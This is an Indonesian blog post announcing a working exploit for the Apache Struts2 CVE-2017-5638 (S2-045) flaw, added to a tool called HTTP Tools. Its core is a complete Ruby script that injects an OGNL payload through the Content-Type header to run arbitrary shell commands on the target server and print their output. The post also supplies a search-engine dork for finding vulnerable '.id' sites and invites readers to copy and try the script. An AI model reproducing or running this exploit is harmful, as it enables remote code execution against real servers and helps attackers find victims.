Title : Fitur Exploit Apache Struts2 (CVE 2017-5638) di HTTP Tools Versi 2.10.0 (dan Source Code)
Released : 2017-03-12 00:03:33 -0500
Viewed : 1793

Aktivitas hacking itu buat sebagian orang adalah tindakan yang merugikan, tapi pada waktu yang bersamaan terdapat pihak-pihak yang diuntungkan. Yarp, salah satunya adalah Cafelabs. Karena dengan adanya bugs baru seperti judul diatas, berarti satu lagi tambahan fitur untuk HTTP Tools :p

Untuk penjelasan tentang bugs CVE: 2017-5638 - Apache Struts2 S2-045 bisa dibaca melalui link dibawah ini:

http://thehackernews.com/2017/03/apache-struts-framework.html
http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html

Jadi implementasi dari exploit ini di HTTP Tools bukan merupakan hal yang sifatnya private. Karena bugs seperti ini adalah salah satu contoh penggunaan kalimat "Rahasia Umum" :p. Banyak yang tau, tapi lebih banyak yang pura-pura gak tau :D

Begitu juga dengan source code yang digunakan HTTP Tools, bukan sekedar porting dari contoh Python ke Ruby, tapi juga karena method yang bisa digunakan untuk memanfaatkan celah ini adalah dengan mengirimkan payload yang disisipkan pada header "Content-Type". Mau pake python, Ruby, Bash, PHP, atau bahasa pemrograman lain ya sama saja. Cuma kan gak seru kalo HTTP Tools harus menggunakan source code pihak ke-3 lagi. Yang ada nanti servernya HTTP Tools malah jadi bulan-bulanan massa para pentester diluar sana, seperti kejadian HTTP Tools Has Been Hacked!!! bulan kemarin, gara-gara memanfaatkan opsi SQLMap. Hiks. Damn you aplikasi pihak ke-3 T_T

Btw, penggunaan bugs ini di aplikasi HTTP Tools sangat mudah. Cukup input URL, masukan Command, eksekusi. :p

Bagian tersulitnya adalah nyari website yang vulnerable :p

Tapi ane masih dapet kok dengan dork

Dork : "filetype:action site:*.id"

Nih bonus source code exploit kali ini yang aku tulis dengan Ruby

# CVE			: 2017-5638 - Apache Struts2 S2-045
# Ruby code by	: @jmozac
# URL			: http://cafelinux.info
 
require 'typhoeus'

if ARGV.length < 2
	abort("URL Target or command do not empty")
end

url = ARGV[0]
cmda = ARGV
cmda.shift
cmd = cmda.each{|i| i}.join(" ")
puts "[*] HTTP Tools 2nd exploit - CVE: 2017-5638 - Apache Struts2 S2-045"
puts "[*] Target : " + url
puts "[*] Command : " + cmd

payload = []
    payload << "%{(#_='multipart/form-data')."
    payload << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload << "(#_memberAccess?"
    payload << "(#_memberAccess=#dm):"
    payload << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload << "(#ognlUtil.getExcludedPackageNames().clear())."
    payload << "(#ognlUtil.getExcludedClasses().clear())."
    payload << "(#context.setMemberAccess(#dm))))."
    payload << "(#cmd='"
    payload << cmd.to_s
    payload << "')."
    payload << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload << "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload << "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload << "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload << "(#ros.flush())}"
    
request = Typhoeus.get(url, headers: {'User-Agent'=>'Mozilla/5','Content-Type'=> payload.join})
puts request.body

Yarp, gitu aja sih sebenernya. Buat yang pengen nyobain bisa langsung copy paste script diatas, atau pake cara yang mudah ja dengan aplikasi HTTP Tools. Download ja melalui link dibawah ini

Download HTTP Tools versi 2.10.0

Akhirnya, sepertinya aku harus mulai memikirkan nama baru untuk HTTP Tools. Karena kayaknya ni aplikasi larinya lebih ke Pentesting tools. :D

Kemudian, happy nite saturday-an yak ^_^